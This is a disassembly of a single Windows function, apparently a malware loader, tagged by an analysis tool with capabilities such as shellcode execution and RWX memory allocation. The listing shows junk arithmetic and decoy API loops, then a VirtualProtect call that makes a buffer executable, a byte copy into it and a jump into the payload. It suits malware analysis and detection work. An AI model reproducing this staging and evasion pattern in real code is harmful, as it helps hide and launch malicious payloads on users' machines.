Function at 0x403820
Capabilities:
Allocate or change rwx memory
Allocate thread local storage
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Resolve function by parsing pe exports
Set thread local storage value

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x44493b
push eax
mov eax, 0x1e68
mov dword fs:[0], esp
call fcn.0040ea20
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x38], 0x79f59f9a
mov dword [esp + 0x90], 0x40bb856
mov dword [esp + 0x7c], 0x376b0d37
mov dword [esp + 0x4c], 0x7effde55
mov dword [esp + 0x78], 0x568bfc8c
mov dword [esp + 0x68], 0x1cefac2f
mov dword [esp + 0x40], 0x11d09a7b
mov dword [esp + 0x48], 0x2e10a994
mov dword [esp + 0x80], 0x5d764d3f
mov dword [esp + 0x58], 0x16b30ca3
mov dword [esp + 0x6c], 0x4ddf7b7b
mov dword [esp + 0x88], 0xca2d216
mov dword [esp + 0x2c], 0x36d3ef91
mov dword [esp + 0x84], 0x76aae829
mov dword [esp + 0x5c], 0x17574e1f
mov dword [esp + 0x50], 0x54cbcce0
mov dword [esp + 0x54], 0x5bb84785
mov dword [esp + 0x3c], 0x39dee563
mov dword [esp + 0x70], 0x23ff2c9d
mov dword [esp + 0x30], 0x3d9c1d15
mov dword [esp + 0x60], 0x5933150b
mov dword [esp + 0x94], 0x799709f1
mov dword [esp + 0x64], 0x11cd58f6
mov dword [esp + 0x44], 0x16f2724e
mov dword [esp + 0x34], 0x7b79887e
mov dword [esp + 0x8c], 0x9bbdd77
mov dword [esp + 0x74], 0x7782bf1f
add dword [esp + 0x38], 0x51962a99
sub dword [esp + 0x38], 0x29f22997
sub dword [esp + 0x38], 0x3a4b2f54
mov eax, 0x250bc53c
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
add dword [esp + 0x38], 0x5634e2cc
sub dword [esp + 0x90], 0x79a40934
mov eax, 0x5ebffff6
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
add dword [esp + 0x7c], 0xc14edc0
mov eax, 0x1858ef56
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
mov eax, 0x25bbf9a8
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x1412c238
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0x4c], 0x6555362d
add dword [esp + 0x68], 0x784669b9
add dword [esp + 0x4c], 0x5283bd42
add dword [esp + 0x4c], 0x7c1037cc
sub dword [esp + 0x68], 0x332197da
sub dword [esp + 0x58], 0x21d76ee0
sub dword [esp + 0x68], 0x1434c80f
sub dword [esp + 0x90], 0x3cbe0f0b
add dword [esp + 0x78], 0x13bf9deb
mov eax, 0x79216a79
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
add dword [esp + 0x68], 0x347af5c1
add dword [esp + 0x90], 0x6541f76c
sub dword [esp + 0x7c], 0x3cf39b08
mov eax, 0x38c2ced0
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x73bd275b
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
mov eax, 0x27efe349
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x68], 0x4c143c3b
sub dword [esp + 0x78], 0x39a16c9d
add dword [esp + 0x38], 0x54dd86d
sub dword [esp + 0x7c], 0x13a467f2
mov eax, 0x4f6ec303
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x58], 0x316f3390
sub dword [esp + 0x68], 0x2dc54ad1
mov eax, 0x14ff35d4
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
add dword [esp + 0x6c], 0xcfac77f
sub dword [esp + 0x90], 0x28bfacad
mov eax, 0x37971319
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x3a658e4
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
add dword [esp + 0x38], 0x7a142fa0
mov eax, 0x6418cf3e
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0x40], 0xbaab3cf
mov eax, 0x1da9a3dc
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x2c], 0x654b08df
sub dword [esp + 0x7c], 0x6c78b5c2
sub dword [esp + 0x58], 0x524b0336
sub dword [esp + 0x80], 0x3e7a0f7b
sub dword [esp + 0x40], 0x14690bae
mov eax, 0x588d6e61
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
mov eax, 0x260aceeb
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
add dword [esp + 0x84], 0x74ef7873
add dword [esp + 0x48], 0x10bd0eee
sub dword [esp + 0x58], 0x60dea0b8
mov eax, 0x3ef9e994
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
mov eax, 0x452f6752
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0x48], 0x33b54198
sub dword [esp + 0x88], 0x75f036ce
add dword [esp + 0x84], 0x432dddb
mov eax, 0x1b4174d
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
mov eax, 0x77918cb4
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
mov eax, 0xe926f28
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x5249dc9
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
sub dword [esp + 0x68], 0x7cdee3a9
mov eax, 0x1075ab2a
mul dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
sub dword [esp + 0x54], 0x20e66cbb
sub dword [esp + 0x3c], 0x7d63cf11
mov eax, 0x17ad7747
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
sub dword [esp + 0x6c], 0x5984c939
mov eax, 0x180705d3
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
sub dword [esp + 0x54], 0x1c760cf0
sub dword [esp + 0x7c], 0x74bc493c
add dword [esp + 0x40], 0x30701f10
sub dword [esp + 0x6c], 0x6bd9a9b5
cmp dword [0x2ba0be4], 0xac
jne 0x403d27
lea eax, [esp + 0x12c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
xor edi, edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetWindowLongW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
xor ecx, ecx
lea eax, [edi + 0xc]
lea esi, [esp + 0x110]
mov dword [esp + 0x128], 7
mov dword [esp + 0x124], edi
mov word [esp + 0x114], cx
call fcn.00404630
lea ecx, [esp + 0x18]
mov dword [esp + 0x1e80], edi
call fcn.004051ab
lea ecx, [esp + 0x18]
call fcn.00405289
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 0x402e54
call fcn.004051bc
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x401b28
call fcn.00405289
push 1
push 0x447150
lea ecx, [esp + 0x20]
call fcn.0040520f
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x401210
call fcn.00405289
push edi
call fcn.0040542d
push edi
push edi
call fcn.004055ad
push edi
push edi
call fcn.004055df
push edi
call fcn.0040542d
push edi
push edi
call fcn.00405443
push edi
push edi
call fcn.0040545c
add esp, 0x28
push edi
call fcn.004059f3
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebp, dword [sym.imp.USER32.dll_GetSysColorBrush]
xor esi, esi
cmp esi, 0x8c5e
jge 0x403d59
push 0
push 0
call edi
push 0
lea eax, [esp + 0x278]
push eax
call ebx
push 0
call ebp
inc esi
cmp esi, 0x144be
jl 0x403d3b
add dword [0x2ba0be4], 0x11b1b
call fcn.00403800
mov edx, dword [0x2ba0be4]
mov eax, dword [0x2ba0b58]
lea ecx, [esp + 0x28]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x2ba0be4], esi
jbe 0x403de8
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.GDI32.dll_GetColorAdjustment]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
jmp 0x403db0
mov ecx, dword [0x2bb0844]
mov dl, byte [esi + ecx + 0x11b1b]
mov eax, dword [0x2ba0b58]
mov byte [esi + eax], dl
cmp dword [0x2ba0be4], 0xa8
jne 0x403ddf
push 0
call edi
push 0
push 0
call ebx
push 0
call ebp
inc esi
cmp esi, dword [0x2ba0be4]
jb 0x403db0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor eax, eax
mov dword [esp + 0x14], eax
mov ecx, dword [0x2ba0be4]
lea edx, [eax + ecx]
cmp edx, 0xe
jne 0x403f12
push 0
lea eax, [esp + 0xb8]
push eax
push 0
push 0
push 0
call edi
lea ecx, [esp + 0xac]
push ecx
call ebx
call ebp
push 0x402e64
call esi
push 0
push 0x402e70
push 0x402e88
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea edx, [esp + 0x154]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0x402ecc
call esi
xor eax, eax
push eax
lea ecx, [esp + 0x1278]
push ecx
push eax
lea edx, [esp + 0x24]
push edx
push eax
push eax
mov word [esp + 0x30], ax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov word [esp + 0x3e], ax
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
lea eax, [esp + 0x1674]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0xa4]
push ecx
lea edx, [esp + 0xa0]
push edx
lea eax, [esp + 0xb0]
push eax
lea ecx, [esp + 0xbc]
push ecx
push 0x402ee0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
lea edx, [esp + 0xa4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [esp + 0x98]
push eax
push 0
lea ecx, [esp + 0x27c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4f9409
mov dword [esp + 0x14], eax
jl 0x403e06
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov esi, 0x4cc
lea ecx, [ecx]
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403f30
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
cmp esi, 0x3b9f9c7
jge 0x40445b
mov dword [esp + 0xf4], 0x2b23e75a
mov dword [esp + 0xc4], 0x4cde8ddd
mov dword [esp + 0xe0], 0x5fd7b9a9
mov dword [esp + 0x104], 0x36fee2ef
mov dword [esp + 0xd0], 0x7ea82ce
mov dword [esp + 0xe8], 0x7e9e0a9d
mov dword [esp + 0xcc], 0x4e9d61c0
mov dword [esp + 0xb8], 0x35f910ef
mov dword [esp + 0xc0], 0x1b1f4c31
mov dword [esp + 0x14], 0x3ac9bbf8
mov dword [esp + 0xa0], 0x7a15913f
mov dword [esp + 0xbc], 0x62549a1c
mov dword [esp + 0x108], 0x2a24477f
mov dword [esp + 0xc8], 0x1201f2d6
mov dword [esp + 0xd8], 0x71b2ec6
mov dword [esp + 0x10c], 0x480e8347
mov dword [esp + 0xdc], 0x7e45e7b5
mov dword [esp + 0xa8], 0x66ee9337
mov dword [esp + 0xd4], 0x37beb127
mov dword [esp + 0xe4], 0x5f430172
mov dword [esp + 0xac], 0x3ef75990
mov dword [esp + 0xfc], 0x17d97796
mov dword [esp + 0xec], 0x671b5d09
mov dword [esp + 0xb4], 0x12f2d2f6
mov dword [esp + 0x98], 0x2e853ae6
mov dword [esp + 0xf0], 0x52c4b444
mov dword [esp + 0x100], 0x46a518f9
mov dword [esp + 0xf8], 0x35125e2b
mov dword [esp + 0xa4], 0x1ad10849
mov dword [esp + 0x9c], 0x381ee696
mov dword [esp + 0xb0], 0xe11e6c2
add dword [esp + 0xf4], 0x733a01c6
sub dword [esp + 0xf4], 0x28e1ea4c
sub dword [esp + 0xf4], 0x77f8656a
add dword [esp + 0xf4], 0x1b0fc675
add dword [esp + 0xf4], 0x1e76876c
mov eax, 0x6e3db233
mul dword [esp + 0xf4]
mov eax, dword [esp + 0xf4]
sub dword [esp + 0xf4], 0x65e693b6
add dword [esp + 0xf4], 0x21e4e8db
sub dword [esp + 0xf4], 0x1f11c09d
add dword [esp + 0xf4], 0x3d058891
mov eax, 0x7b9004c1
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
add dword [esp + 0xf4], 0x7af13f7b
mov eax, 0x5b31b732
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov eax, 0x32e9610c
mul dword [esp + 0xe0]
mov eax, dword [esp + 0xe0]
sub dword [esp + 0xf4], 0x1af62962
sub dword [esp + 0xe0], 0x59def22
sub dword [esp + 0xf4], 0x4f8788a3
mov eax, 0x4b2a4fac
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
add dword [esp + 0xc4], 0x42b3cadb
add dword [esp + 0xcc], 0x4aa37306
add dword [esp + 0xd0], 0x56582517
sub dword [esp + 0xf4], 0x5ae8094f
mov eax, 0x230210eb
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0xd0], 0x28378756
mov eax, 0x62657da2
mul dword [esp + 0x104]
mov eax, dword [esp + 0x104]
add dword [esp + 0xd0], 0x2375764f
add dword [esp + 0xcc], 0x11b12aed
mov eax, 0x13e95691
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x6f46e2ce
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
mov eax, 0x6e95728b
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
mov eax, 0x45b8ee68
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
sub dword [esp + 0x104], 0x61944033
sub dword [esp + 0xcc], 0x14d29531
add dword [esp + 0xcc], 0x45e7e617
add dword [esp + 0xb8], 0x500e65ea
mov eax, 0x36707039
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
add dword [esp + 0xcc], 0x5f1fe643
sub dword [esp + 0xc8], 0x7327cae6
add dword [esp + 0x10c], 0x162a0206
add dword [esp + 0x14], 0x23b42ea1
add dword [esp + 0xa8], 0x3b768056
sub dword [esp + 0xa8], 0xf6d96df
sub dword [esp + 0x104], 0x259fb309
add dword [esp + 0xe8], 0x2f9e05b4
add dword [esp + 0x104], 0x61dc3320
add dword [esp + 0xa0], 0x799a2ec5
add dword [esp + 0xcc], 0x893cbaa
add dword [esp + 0xc8], 0x15ff780
sub dword [esp + 0xc8], 0xc788bba
mov eax, 0x3626429a
mul dword [esp + 0x104]
mov eax, dword [esp + 0x104]
mov eax, 0x13340774
mul dword [esp + 0x104]
mov eax, dword [esp + 0x104]
mov eax, 0x45badb7d
mul dword [esp + 0xdc]
mov eax, dword [esp + 0xdc]
add dword [esp + 0xdc], 0x3ddb5118
sub dword [esp + 0xc4], 0x4daecf02
mov eax, 0x3bf366d7
mul dword [esp + 0x10c]
mov eax, dword [esp + 0x10c]
sub dword [esp + 0xa0], 0x4446398f
add dword [esp + 0xa8], 0x33b2e8ae
mov eax, 0x54e9bf20
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
sub dword [esp + 0xd0], 0x410a050d
sub dword [esp + 0xfc], 0x2588952e
add dword [esp + 0xc8], 0x5218a717
mov eax, 0x7e1b1836
mul dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
mov eax, 0x1856fc37
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov eax, 0x14c6a33a
mul dword [esp + 0xd0]
mov eax, dword [esp + 0xd0]
mov eax, 0x451f6ebe
mul dword [esp + 0xfc]
mov eax, dword [esp + 0xfc]
mov eax, 0x45dccc0a
mul dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
mov eax, 0x74f05f91
mul dword [esp + 0x100]
mov eax, dword [esp + 0x100]
mov eax, 0x63b4dc15
mul dword [esp + 0x104]
mov eax, dword [esp + 0x104]
add dword [esp + 0x108], 0x4ef084d9
cmp esi, 0xbf08bd
jg 0x404470
inc esi
cmp esi, 0x19be898c
jl 0x403f45
call fcn.00403690
xor edx, edx
cmp edx, 0x26
jne 0x404481
call fcn.004037e0
inc edx
cmp edx, 0x409495
jl 0x404477
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
mov ebx, 0x7b
jmp 0x4044a0
cmp dword [0x2ba0be4], 0x86
jne 0x40450a
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x18]
mov word [esp + 0x110], dx
push ecx
lea edx, [esp + 0x114]
mov dword [esp + 0x116], eax
mov dword [esp + 0x11a], eax
mov dword [esp + 0x11e], eax
mov word [esp + 0x122], ax
mov word [esp + 0x1c], ax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
push edx
lea eax, [esp + 0x15c]
push eax
call edi
push 0
push 0
push 0
call esi
sub ebx, 1
jne 0x4044a0
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ebx, dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ebp, 0x180ef
cmp dword [0x2ba0be4], 0x1f
jne 0x40454f
push 0
lea ecx, [esp + 0xa78]
push ecx
call esi
push 0
lea edx, [esp + 0xe78]
push edx
call esi
push 0
push 0
call edi
call ebx
sub ebp, 1
jne 0x404526
call fcn.00403380
mov eax, dword [0x2ba0b58]
mov dword [0x2ba0b5c], eax
call eax
mov ecx, dword [esp + 0x1e78]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x1e74
ret